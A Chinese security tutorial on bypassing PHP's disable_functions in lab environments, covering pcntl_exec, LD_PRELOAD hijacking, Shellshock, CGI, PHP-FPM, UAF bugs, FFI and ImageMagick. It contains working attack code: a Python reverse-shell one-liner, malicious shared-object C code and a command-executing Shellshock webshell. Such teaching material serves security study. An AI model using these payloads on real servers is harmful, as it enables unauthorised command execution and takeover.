深谈 php Bypass Disable Functions 方法

admin 2024年12月16日10:15:11评论6 views字数 9635阅读32分7秒阅读模式

1. 背景

PHP.ini 中可以设置禁用一些危险函数,例如evalexecsystem 等,将其写在php.ini 配置文件中,就是我们所说的disable_functions 了,特别是虚拟主机运营商,为了彻底隔离同服务器的客户,以及避免出现大面积的安全问题,在disable_functions 的设置中也通常较为严格。

2. 黑名单绕过

即便是通过 disable functions 限制危险函数,也可能会有限制不全的情况。可以执行命令的函数可以参考:PHP webshell 检测。还有一个比较常见的易被忽略的函数就是pcntl_exec

使用pcntl_exec 的前提是开启了pcntl 插件。

<?php
if(function_exists('pcntl_exec')) {
   pcntl_exec("/bin/bash", array("/tmp/test.sh"));
} else {
       echo 'pcntl extension is not support!';
}
?>

由于pcntl_exec() 执行命令是没有回显的,所以其常与 python 结合来反弹 shell:

<?php pcntl_exec("/usr/bin/python",array('-c','import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("IP",port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'));

3. 利用 LD_PRELOAD 环境变量

3.1 原理

LD_PRELOAD 是 Linux 系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它可以在用户的程序运行前优先加载该动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,可以利用此功能来使用自定义的函数,而另一方面,可以向别人的程序注入程序,从而达到特定的攻击目的。

前提:

  • 能够上传 .so 文件
  • 能够控制 LD_PRELOAD 环境变量的值,比如 putenv() 函数
  • 因为新进程启动将加载 LD_PRELOAD 中的 .so 文件,所以要存在可以控制 PHP 启动外部程序的函数并能执行,比如 mail()、imap_mail()、mb_send_mail() 和 error_log() 函数等

下面介绍两种常用的利用方式。

3.2 劫持函数(uid)

3.2.1 原理

  • 编写一个原型为uid_t getuid(void); 的 C 函数,内部执行攻击者指定的代码,并编译成共享对象getuid_shadow.so;
  • 运行 PHP 函数putenv()(用来配置系统环境变量),设定环境变量LD_PRELOAD 为getuid_shadow.so,以便后续启动新进程时优先加载该共享对象;
  • 运行 PHP 的mail() 函数,mail() 内部启动新进程/usr/sbin/sendmail,由于上一步LD_PRELOAD 的作用,sendmail 调用的系统函数getuid() 被优先级更好的getuid_shadow.so 中的同名getuid() 所劫持;达到不调用 PHP 的各种命令执行函数(systemexec 等等)仍可执行系统命令的目的。

3.2.2 利用

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
  system("ls > /tmp/leon");
}   
int getuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
  unsetenv("LD_PRELOAD");
 payload();
}

编译成 so 文件:

gcc -c -fPIC exp.c -o hack && gcc --share hack -o exp.so

编写 test.php:

<?php
putenv("LD_PRELOAD=./exp.so");
mail("","","","","");
?>

但是,在真实环境中,存在两方面问题:

  • 一是,某些环境中,web 禁止启用sendmail、甚至系统上根本未安装sendmail,也就谈不上劫持getuid(),通常的www-data 权限又不可能去更改php.ini 配置、去安装sendmail 软件;
  • 二是,即便目标可以启用sendmail,由于未将主机名(hostname 输出)添加进 hosts 中,导致每次运行sendmail 都要耗时半分钟等待域名解析超时返回,www-data 也无法将主机名加入 hosts。 基于这两种方式,衍生出一种新的利用方式。

3.3 劫持启动进程

回到LD_PRELOAD 本身,系统通过它预先加载共享对象,如果能找到一个方式,在加载时就执行代码,而不用考虑劫持某一系统函数,那就完全可以不依赖sendmail 了。

3.3.1__attribute__ 介绍

GCC 有个 C 语言扩展修饰符__attribute__((constructor)),可以让由它修饰的函数在main() 之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行__attribute__((constructor)) 修饰的函数。

3.2.2 利用

简单的 exp:

#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

__attribute__ ((__constructor__)) void preload (void){
    unsetenv("LD_PRELOAD");
    system("whoami > /tmp/leon");
}

但是unsetenv()在 Centos 上无效,因为 Centos 自己也hook了unsetenv(),在其内部启动了其他进程,来不及删除LD_PRELOAD 就又被劫持,导致无限循环,可以使用全局变量extern char** environ删除,实际上,unsetenv() 就是对 environ 的简单封装实现的环境变量删除功能。

#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

extern char** environ;
__attribute__ ((__constructor__)) void preload (void)
{
    // get command line options and arg
    const char* cmdline = getenv("EVIL_CMDLINE");
    // unset environment variable LD_PRELOAD.
    // unsetenv("LD_PRELOAD") no effect on some 
    // distribution (e.g., centos), I need crafty trick.
    int i;
    for (i = 0; environ[i]; ++i) {
            if (strstr(environ[i], "LD_PRELOAD")) {
                    environ[i][0] = '�';
            }
    }
    // executive command
    system(cmdline);
}

使用 for 循环修改LD_PRELOAD 的首个字符改成是 C 语言字符串结束标记,这样可以让系统原有的 LD_PRELOAD 环境变量自动失效。

编译:

gcc -c -fPIC exp.c -o hack && gcc --share hack -o exp.so

详情: https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

在 AntSword-Labs 有相关环境,复现该漏洞。

深谈 php Bypass Disable Functions 方法

尝试执行命令:

深谈 php Bypass Disable Functions 方法

使用LD_PRELOAD 插件绕过:

深谈 php Bypass Disable Functions 方法

成功后可以看到/var/www/html/ 目录下新建了一个.antproxy.php 文件。我们创建副本, 并将连接的URL shell 脚本名字改为.antproxy.php,就可以成功执行命令。

深谈 php Bypass Disable Functions 方法

4. 利用「破壳漏洞」- ShellShock

4.1 前提

  • Linux 操作系统
  • putenv()、mail() 或 error_log() 函数可用
  • 目标系统的 /bin/bash 存在 CVE-2014-6271 漏洞
  • /bin/sh -> /bin/bash sh 默认的 shell 是 bash

4.2 原理

该方法利用的 bash 中的一个老漏洞,即 Bash Shellshock 破壳漏洞(CVE-2014-6271)。

在 Bash 中一种独有的方法来定义函数 , 即 : 通过环境变量来定义函数。当某个环境变量的值以字符串 () { 的格式作为开头, 那么该变量就会被当前 Bash 当作一个导出函数(export function ) , 该函数仅会在当前 Bash 的子进程中生效。

深谈 php Bypass Disable Functions 方法

一般函数体内的代码不会被执行,但破壳漏洞会错误的将 {} 花括号外的命令进行执行。PHP 里的某些函数(例如:mail()imap_mail())能调用popen 或其他能够派生 bash 子进程的函数,可以通过这些函数来触发破壳漏洞(CVE-2014-6271)执行命令。

EXP 脚本:

<?php
function runcmd($c){
  $d = dirname($_SERVER["SCRIPT_FILENAME"]);
  if(substr($d, 0, 1) == "/" && function_exists('putenv') && (function_exists('error_log') || function_exists('mail'))){
    if(strstr(readlink("/bin/sh"), "bash")!=FALSE){
      $tmp=tempnam(sys_get_temp_dir(), 'as');
      putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
      if (function_exists('error_log')) {
        error_log("a", 1);
      }else{
        mail("[email protected]""""""-bv");
      }
    }else{
      print("Not vuln (not bash)n");
    }
    $output = @file_get_contents($tmp);
    @unlink($tmp);
    if($output!=""){
      print($output);
    }else{
      print("No output, or not vuln.");
    }
  }else{
    print("不满足使用条件");
  }
}

// runcmd("whoami"); // 要执行的命令
runcmd($_REQUEST["cmd"]); // ?cmd=whoami
?>

4.3 利用

同样利用 AntSword-Labs 里的环境:bypass_disable_functions/2

尝试使用http://IP:18080/?ant=system('ls'); 执行失败。

AntSword 虚拟终端中已经集成了对 ShellShock 的利用,直接在虚拟终端执行命令即可绕过disable_functions:

上图中进程树可以看到,利用了 PHPerror_log 函数在执行sh -c -t -i深谈 php Bypass Disable Functions 方法时, Bash 的 ShellShock 漏洞, 从而实现了执行我们自定义命令的目的。

5. 利用 CGI

5.1 Apache Mod CGI

5.1.1 前提

  • Linux 操作系统
  • Apache + PHP (apache 使用 apache_mod_php)
  • Apache 开启了 cgi、rewrite
  • Web 目录给了 AllowOverride 权限
  • 当前目录可写

5.1.2 原理

为了解决 Web 服务器与外部应用程序(CGI程序)之间数据互通,于是出现了CGI(Common Gateway Interface)通用网关接口。简单理解,可以认为 CGI 是 Web 服务器和运行在其上的应用程序进行“交流”的一种约定。

当遇到动态脚本请求时,Web 服务器主进程就会 Fork 创建出一个新的进程来启动 CGI 程序,运行外部 C 程序或 Perl、PHP 脚本等,也就是将动态脚本交给 CGI 程序来处理。启动 CGI 程序需要一个过程,如读取配置文件、加载扩展等。当 CGI 程序启动后会去解析动态脚本,然后将结果返回给 Web 服务器,最后由 Web 服务器将结果返回给客户端,之前 Fork 出来的进程也随之关闭。这样,每次用户请求动态脚本,Web 服务器都要重新 Fork 创建一个新进程去启动 CGI 程序,由 CGI 程序来处理动态脚本,处理完成后进程随之关闭,其效率是非常低下的。

而对于 Mod CGI,Web 服务器可以内置 Perl 解释器或 PHP 解释器。 也就是说将这些解释器做成模块的方式,Web 服务器会在启动的时候就启动这些解释器。 当有新的动态请求进来时,Web 服务器就是自己解析这些动态脚本,省得重新 Fork 一个进程,效率提高了。

任何具有 MIME 类型application/x-httpd-cgi 或者被cgi-script 处理器处理的文件都将被作为 CGI 脚本对待并由服务器运行,它的输出将被返回给客户端。可以通过两种途径使文件成为 CGI 脚本,一种是文件具有已由 AddType 指令定义的扩展名,另一种是文件位于 ScriptAlias 目录中。

Apache 在配置开启 CGI 后可以用 ScriptAlias 指令指定一个目录,指定的目录下面便可以存放可执行的 CGI 程序。若是想临时允许一个目录可以执行 CGI 程序并且使得服务器将自定义的后缀解析为 CGI 程序执行,则可以在目的目录下使用 htaccess 文件进行配置,如下:

Options +ExecCGI
AddHandler cgi-script .xxx

这样便会将当前目录下的所有的 .xxx 文件当做 CGI 程序执行了。由于 CGI 程序可以执行命令,那我们可以利用 CGI 来执行系统命令绕过 disable_functions。

5.1.3 利用

同样利用 AntSword-Labs 里的环境:bypass_disable_functions/3

用蚁剑拿到 shell 后无法执行命令:

深谈 php Bypass Disable Functions 方法

开启 CGI:

深谈 php Bypass Disable Functions 方法
深谈 php Bypass Disable Functions 方法

5.2 PHP-fpm

5.2.1 前提

Linux 操作系统 PHP-FPM 存在可写的目录,需要上传.so 文件

5.2.2 原理

PHP-FPM 是 Fastcgi 的协议解析器,Web 服务器使用 CGI 协议封装好用户的请求发送给 FPM。FPM 按照 CGI 的协议将 TCP 流解析成真正的数据。

举个例子,用户访问http://127.0.0.1/index.php?a=1&b=2 时,如果 web 目录是/var/www/html,那么 Nginx 会将这个请求变成如下key-value 对:

{
    'GATEWAY_INTERFACE''FastCGI/1.0',
    'REQUEST_METHOD''GET',
    'SCRIPT_FILENAME''/var/www/html/index.php',
    'SCRIPT_NAME''/index.php',
    'QUERY_STRING''?a=1&b=2',
    'REQUEST_URI''/index.php?a=1&b=2',
    'DOCUMENT_ROOT''/var/www/html',
    'SERVER_SOFTWARE''php/fcgiclient',
    'REMOTE_ADDR''127.0.0.1',
    'REMOTE_PORT''12345',
    'SERVER_ADDR''127.0.0.1',
    'SERVER_PORT''80',
    'SERVER_NAME'"localhost",
    'SERVER_PROTOCOL''HTTP/1.1'
}

这个数组其实就是 PHP 中$_SERVER 数组的一部分,也就是 PHP 里的环境变量。但环境变量的作用不仅是填充$_SERVER 数组,也是告诉 fpm:要执行哪个 PHP 文件。

PHP-FPM 拿到 Fastcgi 的数据包后,进行解析,得到上述这些环境变量。然后,执行SCRIPT_FILENAME 的值指向的 PHP 文件,也就是/var/www/html/index.php 。

5.2.3 利用

由于 FPM 默认监听的是 9000 端口,我们就可以绕过 Web 服务器,直接构造 Fastcgi 协议,和 fpm 进行通信。于是就有了利用 Webshell 直接与 FPM 通信 来绕过 disable functions 的姿势。

但是,在构造 Fastcgi,就能执行任意 PHP 代码前,需要突破几个限制:

既然是请求,那么SCRIPT_FILENAME 就相当的重要。前面说过,fpm 是根据这个值来执行 PHP 文件文件的,如果不存在,会直接返回 404,所以想要利用这个漏洞,就得找到一个已经存在的 PHP 文件。在一般进行源安装 PHP 的时候,服务器都会附带上一些 PHP 文件,如果说我们没有收集到目标 Web 目录的信息的话,可以采用这种方法。 即使能控制SCRIPT_FILENAME,让 fpm 执行任意文件,也只是执行目标服务器上的文件,并不能执行我们需要其执行的文件。那要如何绕过这种限制呢?可以从 php.ini 入手。它有两个特殊选项,分别是auto_prepend_file 和auto_append_fileauto_prepend_file的功能是在执行目标文件之前,先包含它指定的文件。那么就有趣了,假设我们设置auto_prepend_file 为php://input,那么就等于在执行任何 PHP 文件前都要包含一遍 POST 过去的内容。所以,只需要把待执行的代码放在 POST Body 中进行远程文件包含,这样就能做到任意代码执行了。 虽然可以通过远程文件包含执行任意代码,但是远程文件包含是有allow_url_include 这个限制因素的,如果没有为 ON 的话就没有办法进行远程文件包含。这里,PHP-FPM 有两个可以设置 PHP 配置项的KEY-VALUE,即PHP_VALUE 和PHP_ADMIN_VALUE,PHP_VALUE可以用来设置 php.ini,PHP_ADMIN_VALUE 则可以设置所有选项(disable_functions 选项除外),这样就解决问题了。

利用 AntSword-Labs 里的环境:bypass_disable_functions/4

用蚁剑拿到 shell 后无法执行命令:

深谈 php Bypass Disable Functions 方法
深谈 php Bypass Disable Functions 方法

注意该模式下需要选择 PHP-FPM 的接口地址, 需要自行找配置文件查 FPM 接口地址,默认的是unix:/// 本地 socket 这种的,如果配置成 TCP 的默认是 127.0.0.1:9000

成功后可以看到/var/www/html/ 目录下新建了一个.antproxy.php 文件。连接.antproxy.php,就可以成功执行命令。

6. 利用 UAF Bypass

6.1 GC UAF

6.1.1 前提

  • Linux 操作系统
  • PHP 7.0 - PHP 7.3

6.1.2 原理 此漏洞利用 PHP 垃圾收集器中存在三年的一个 bug ,通过PHP垃圾收集器中堆溢出来绕过disable_functions 并执行系统命令。

利用脚本:https://github.com/mm0r1/exploits/tree/master/php7-gc-bypass

6.1.3 利用

蚁剑靶场 bypass_disable_functions/7

用蚁剑拿到 shell 后无法执行命令:

深谈 php Bypass Disable Functions 方法
深谈 php Bypass Disable Functions 方法
深谈 php Bypass Disable Functions 方法

6.2 Json Serializer UAF

6.2.1 前提

  • Linux 操作系统
  • PHP 版本 7.1 - all versions to date 7.2 < 7.2.19 (released: 30 May 2019) 7.3 < 7.3.6 (released: 30 May 2019)

6.2.2 原理

此漏洞利用 json 序列化程序中的释放后使用漏洞,利用 json 序列化程序中的堆溢出触发,以绕过disable_functions 和执行系统命令。

利用脚本:https://github.com/mm0r1/exploits/tree/master/php-json-bypass

6.2.3 利用

蚁剑靶场 bypass_disable_functions/6

用蚁剑拿到 shell 后无法执行命令:

深谈 php Bypass Disable Functions 方法
深谈 php Bypass Disable Functions 方法
深谈 php Bypass Disable Functions 方法

这种方式不一定保证成功,因此当遇到命令无回显结果的时候,可以重新执行。

6.3 Backtrace UAF

6.3.1 前提

  • Linux 操作系统
  • PHP 版本 7.0 - all versions to date 7.1 - all versions to date 7.2 - all versions to date 7.3 < 7.3.15 (released 20 Feb 2020) 7.4 < 7.4.3 (released 20 Feb 2020)

6.3.2 原理

该漏洞利用在debug_backtrace() 函数中使用了两年的一个 bug。我们可以诱使它返回对已被破坏的变量的引用,从而导致释放后使用漏洞。

利用脚本:https://github.com/mm0r1/exploits/tree/master/php7-backtrace-bypass

6.4 SplDoublyLinkedList UAF

6.4.1 前提

  • PHP 版本 PHP v7.4.10及其之前版本 PHP v8.0(Alpha)

6.4.2 原理

具体原理参考:https://xz.aliyun.com/t/8355

将脚本上传到目标主机上有权限的目录中(/var/tmp/exploit.php),包含该 exploit.php 脚本即可成功执行命令。

7.  利用 FFI 扩展执行命令

7.1 前提

Linux 操作系统 PHP >= 7.4 开启了 FFI 扩展且 ffi.enable=true

7.2 原理

PHP 7.4 的 FFI(Foreign Function Interface),即外部函数接口,允许从用户在 PHP 代码中去调用 C 代码。

7.3 利用

利用 AntSword-Labs 里的环境,用蚁剑拿到 shell 后无法执行命令:

深谈 php Bypass Disable Functions 方法
深谈 php Bypass Disable Functions 方法

8. 利用 ImageMagick

8.1 前提

  • 目标主机安装了漏洞版本的 imagemagick(<= 3.3.0)
  • 安装了 php-imagick 拓展并在 php.ini 中启用
  • 编写 php 通过 new Imagick 对象的方式来处理图片等格式文件
  • PHP >= 5.4

8.2 原理

利用 ImageMagick 绕过 disable_functions 的方法利用的是 ImageMagick 的一个漏洞(CVE-2016-3714)。漏洞的利用过程非常简单,只要将精心构造的图片上传至使用漏洞版本的 ImageMagick,ImageMagick 会自动对其格式进行转换,转换过程中就会执行攻击者插入在图片中的命令。因此很多具有头像上传、图片转换、图片编辑等具备图片上传功能的网站都可能会中招。所以如果在 phpinfo 中看到有这个 ImageMagick。

8.3 利用

参考:Imagetragick 命令执行漏洞

原文始发于微信公众号(SecretTeam安全团队):深谈 php Bypass Disable Functions 方法

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月16日10:15:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   深谈 php Bypass Disable Functions 方法https://cn-sec.com/archives/3512701.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息